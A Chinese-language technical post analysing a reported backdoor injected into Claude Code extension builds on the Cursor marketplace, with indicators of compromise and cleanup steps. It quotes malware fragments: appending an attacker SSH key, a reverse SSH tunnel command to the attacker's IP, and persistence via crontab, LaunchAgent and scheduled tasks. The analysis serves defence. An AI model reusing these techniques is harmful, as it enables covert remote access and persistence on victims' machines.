你的 IDE 插件改了 authorized_keys:Claude Code 扩展投毒链路拆解
10 月 30 日,安全公司 Phorion 挂出一篇 advisory。标题很干:《Official Claude Code Extension Compromise: Security Advisory》。
内容不干。
Cursor 市场里的 Claude Code for VS Code 扩展,2.1.312 和 2.1.313 这两个版本,被人塞了一段前置代码。它不弹窗,不报错,不需要你点任何按钮,也不需要你打开任何面板。Node 只要把这个 extension.js 加载进来,代码就开始跑------第一件事是去改你的 ~/.ssh/authorized_keys。
这东西装量在两千万级别。HN 上那条讨论拿到 885 分、522 条评论,最上面一句是「2700 万次安装,哦豁」。
先把一个容易被带偏的说法纠正掉。
Anthropic 的 Felix Rieseberg 在 HN 上回复得很直接:这不是 Anthropic 的系统或员工电脑被入侵,是有人拿到了 Cursor 市场的发布权限,发了一份「我们没构建、也没发布」的篡改版,官方渠道的版本不受影响,只影响 Cursor 用户。(原帖)
这句话比事件本身更值得记住。
先把事实摆齐
| 项目 | 值 |
|---|---|
| 受影响版本 | 2.1.312、2.1.313(Cursor 市场,macOS / Windows) |
| 后门包 SHA-256 | ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 |
| 受害者登录公钥 | SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk(注释 svc-telemetry) |
| 隧道公钥 | SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ(注释 svc-telemetry-tun) |
| 隧道服务器 | 134.209.82.225 TCP 22,用户名 tunnel |
| 回连上报 | 134.209.82.225:8099 与 127.0.0.1:8099,POST /beacon |
阶段一:为什么它是一段 IIFE
被打过手脚的 extension.js,结构很朴素:
(function(){ ... })(); // 注入的前缀
+ 原来那一坨压缩过的扩展代码
就是一个立即执行函数表达式,拼在压缩包最前面。
这个位置选得很讲究。VS Code 系扩展的入口是 activate(),正常逻辑要等 IDE 决定激活这个扩展时才跑。而 IIFE 在模块加载阶段就执行了------也就是 Node 读完文件的那一瞬间。用户装完、重启 IDE、插件宿主进程起来,代码已经跑完了,activate 连影子都还没出现。
前缀里 require 的都是 Node 自带模块:child_process、fs、os、path、http、crypto。没有额外依赖,不需要下载什么,一个文件自带全套工具。

阶段二:它不用 shell,所以只看命令的规则抓不到
第一件事是准备进门的路。
脚本先确认 ~/.ssh 存在,然后把一段攻击者持有的 Ed25519 公钥追加进 authorized_keys。目录权限设 0700,文件设 0600------这是 SSH 的正常要求,照做反而让文件看起来更「合规」。
细节在这里:
js
if (cur.indexOf("svc-telemetry") < 0) {
fs.appendFileSync(ak, PUB + "\n");
}
写入用的是 fs.appendFileSync,不是 echo,不是 tee,也没有起子进程。
意味着什么?如果你只监控进程命令行里谁动了 authorized_keys,这一条完全不会命中。命中的前提是你有文件修改的遥测------比如 macOS 上那条「IDE 的 Helper 进程去写了 ~/.ssh/authorized_keys」。IDE 主程序签名是合法的,但它的扩展宿主进程没有任何理由在后台改 SSH 认证文件。
还有一个顺手可捡的破绽:去重判断查的是注释字符串 svc-telemetry,不是公钥指纹。也就是说,攻击者自己给自己留了个后门------任何按注释做检测的地方都能对得上,但同一个注释也被用来防重复写入。做排查时按指纹查比按注释查靠谱。
真正让后门生效还需要 SSH 服务在跑。三个平台各走各的路:
- Linux:
systemctl启sshd,失败退回service//etc/init.d/。 - macOS:查 Remote Login 状态,如果是
Off就sudo -n systemsetup -setremotelogin on。 - Windows:PowerShell 装 OpenSSH Server 并启动。
全程没有提权漏洞。sudo -n 在标准用户下会直接失败,除非这台机器本来就配了免密 sudo。这决定了它是一颗「等你已经开着门」的钉子,而不是一把万能钥匙。
阶段三:一把钥匙进门,一把钥匙出门
这里有两个 key,特别容易搞混,而且排查时搞混就会漏。
- 追加到
authorized_keys的公钥 (svc-telemetry):让攻击者能登进受害者的机器。 - 内嵌在脚本里的私钥 (
svc-telemetry-tun):让受害者的机器能连出去,登到攻击者的隧道服务器。
一个进,一个出,方向相反。
隧道私钥会先被写到系统临时目录,文件名是 .stk_ 加上 MD5(hostname + HOME) 的前 10 个十六进制字符。这个命名方式挺讲究:同一台机器每次算出来的名字一样,重启后能复用,但在目录列表里看不出规律。
然后连出去:
ssh -N -R *:0:localhost:22 tunnel@134.209.82.225
-R *:0:localhost:22 是关键。远程端口填 0,等于让对方的服务器自己分配一个空闲端口,再把打到这个端口上的流量,顺着隧道回推到受害者本机的 localhost:22。
链路长这样:
操作员 --直连--> 服务器分配端口 --已有隧道--> 受害者 localhost:22 --植入的 key 认证--> shell
-N 表示不执行远端命令,纯粹保持端口转发。所以整条链子里,攻击者不需要在 JavaScript 里写任何 C2 协议------他复用了一个所有人都信任的东西:SSH 本身。
其余参数都在压噪音:关掉 host key 检查、忽略 known_hosts、BatchMode 和 IdentitiesOnly 打开、keepalive 30 秒配 ServerAliveCountMax=3、ExitOnForwardFailure 打开。装了 autossh 就用它,没装退回原生 ssh,外面套一个 detach 的循环,失败就睡 60 秒重连,用 pgrep 防重复。因为循环是 detach 的,你把 IDE 关掉,隧道还在。
阶段四:重启之后它还在
持久化按平台分开做:
- Linux:写
~/.config/.smt脚本(里面内嵌隧道私钥,运行时吐出~/.config/.smtk),再往用户 crontab 塞一条@reboot。 - macOS:在
~/Library/LaunchAgents/下写com.apple.sysmond.plist,RunAtLoad和KeepAlive都是true,内容就是/bin/sh ~/.config/.smt,然后launchctl加载。 - Windows:尝试建一个名为
SysMon、以 SYSTEM 身份启动的计划任务,失败就把sysmon.cmd丢进启动文件夹。
com.apple.sysmond 这个名字是故意起的。它跑在用户上下文里,不是 root 的 LaunchDaemon,权限不高,但足够维持一条出站连接。
最后是侦察。一次性 POST /beacon,内容很轻:主机名、用户名、平台、架构、home 目录、当前工作目录、git config --global user.email,加上公网 IP(查 ifconfig.me,失败退回 api.ipify.org),再加每个阶段的执行状态。
有一步值得单独说:它会遍历 process.env,筛出名字匹配 /KEY|TOKEN|SECRET|PASS|AWS|GCP/i 的变量,最多取 40 个,只取名字,不取值。
不是良心发现。是取证成本问题:知道这台机器上挂着 AWS 的 key 还是 GitHub 的 token,比一次把几百个值打包传走更划算------先挑肥的。
一个 bug,救了一批人
这是整篇 advisory 里最有意思的部分。
macOS 那段逻辑是这样的:
js
rl = ex("systemsetup -getremotelogin 2>/dev/null");
if (/Off/i.test(rl)) {
det("sudo -n systemsetup -setremotelogin on");
}
它的假设是:用普通用户身份能读出 Remote Login 状态,输出 Remote Login: Off,然后去打开。
实际发生的:
You need administrator access to run this tool... exiting!
systemsetup 拒绝在非管理员上下文读这个设置,把错误打到 stdout,退出码是 0 。而脚本的 ex() 只取 stdout 文本,catch 里才返回空串------退出码压根没看。
于是 /Off/i.test(rl) 得到 false,if 块被跳过,sudo -n systemsetup -setremotelogin on 一次都没执行。
换句话说,这段代码把「我没权限查它是不是关的」当成了「它是开着的」。
后果很具体:如果这台 Mac 本来就没开远程登录,后门的前半截(公钥、持久化、出站隧道)全都装上了,但攻击者从隧道回推到 localhost:22 时会撞上一个没人监听的端口。入站这条路,被恶意脚本自己的判断逻辑堵死了。

而且这个错误的副作用还挺「干净」:正因为 if 块没进,进程遥测里连一次 setremotelogin 的尝试都看不到。所以排查时不能把「有没有执行 systemsetup -setremotelogin on」当成必要条件------它本来就可能不出现。
Windows 那条路上有个同类的 bug:服务安装命令被丢进一个 det() 辅助函数,而这个函数把 shell 硬编码成了 /bin/sh。在标准 Windows 安装上没有 /bin/sh,这条命令自然走不通。
两个 bug,同一个根源:写恶意代码的人也在跨平台复制粘贴,也没在每套环境里完整跑通一遍。
但这不能当防御用。机器本来就开着远程登录的、或者事后自己开了的,后门一直在那儿等着。
真正难受的地方:ID 是官方的,构建不是
假想一下你是个很谨慎的开发者。你装扩展会看 publisher,会看 displayName,会看版本号是不是连续的。这次三样全对。
因为攻击者拿到的不是「仿冒一个同名扩展」的机会,而是「用官方那个账号发一个包」的机会。发布权限,才是这条链子上真正的入口。
这就是为什么 Felix 的措辞值得反复读:不是我们的系统被入侵,是有人拿到了市场的发布权限。两个说法指向完全不同的防御重点------前者要加固构建机,后者要回答一个更难的问题:谁能在你的名字下发版?
生态也在往这个方向挪。VS Code 仓库里那条 minimumReleaseAge 提案(#316867,标签 feature-request / verified / extensions)现在已经是 completed 状态。它的思路不是「上架前审得更狠」,而是「新版本先别急着推给所有人」------给社区留一个发现和撤包的窗口。对于这种「账号被盗、包是真的、签名也是真的」的场景,延迟可见比事前审核更对症。
而 Cursor 这边,HN 讨论里有人指出篡改文件出现在 Cursor 自己的镜像上,而不是主 OpenVSX;也有人顺手吐槽了 OpenVSX 缺少扩展签名与发布令牌长期不过期的问题。这些是社区讨论里的说法,位置在 这条串,值得自己翻一遍------里面有不少做过企业内 IDE 管控的人的真实吐槽。
有一点是确定的:marketplace.visualstudio.com 上 2.1.313 现在也查不到了。至于这是「发过又撤」,还是「从没发过」,两边说法并不一致,谨慎起见别拿它当结论。
卸载没用,得按阶段清
Phorion 在 advisory 里说得很清楚:卸载扩展不会删掉后门。它落在四个地方,得一个个清。
先看有没有中:
ls ~/Library/LaunchAgents/com.apple.sysmond.plist
grep -c svc-telemetry ~/.ssh/authorized_keys
再看隧道是否还活着:
ps aux | grep -E "stk_|\.smtk|134\.209\.82\.225"
清理顺序不能反:
- 先杀进程。
/bin/sh那个重连循环和任何连着134.209.82.225的ssh/autossh。顺序反了,你删完文件它又写回来。 - 再拆持久化。
launchctl unload掉那个 plist 并删除,同时清~/.config/.smt和~/.config/.smtk。Linux 上还要检查 crontab 的@reboot行------advisory 里提到,那个 crontab 检查逻辑有 bug,重复执行可能把用户原有的 cron 任务一起清掉。 - 再清钥匙。从
authorized_keys里删掉svc-telemetry公钥,删/tmp/.stk_*,确认远程登录没有被意外打开。 - 最后轮换凭证。如果有任何迹象表明通过隧道真的有人登进来过,那就按第 40 个环境变量的那个列表,把对应的 key 全换一遍。
还有一个排查细节很容易漏:入站会话是顺着本地端口转发进来的,所以在 SSH 日志里,成功登录的来源会显示成 127.0.0.1 或 ::1,认证用的是 svc-telemetry 那把 key。
看见本地回环地址登 SSH,不是内网扫描,是有人顺着你自己开的隧道走进来了。
最后一句
这次事件里最讽刺的地方,是一个恶意脚本的 bug 让它自己失败了一半。
但防御不能建立在这种运气上。真正能复用的结论只有两条:文件级遥测比命令行遥测更难绕,因为写文件的方式有太多种;而「这个包来自官方账号」这件事,在发布权限被拿走之后,就已经不再等于「这个包是官方构建的」。
参考: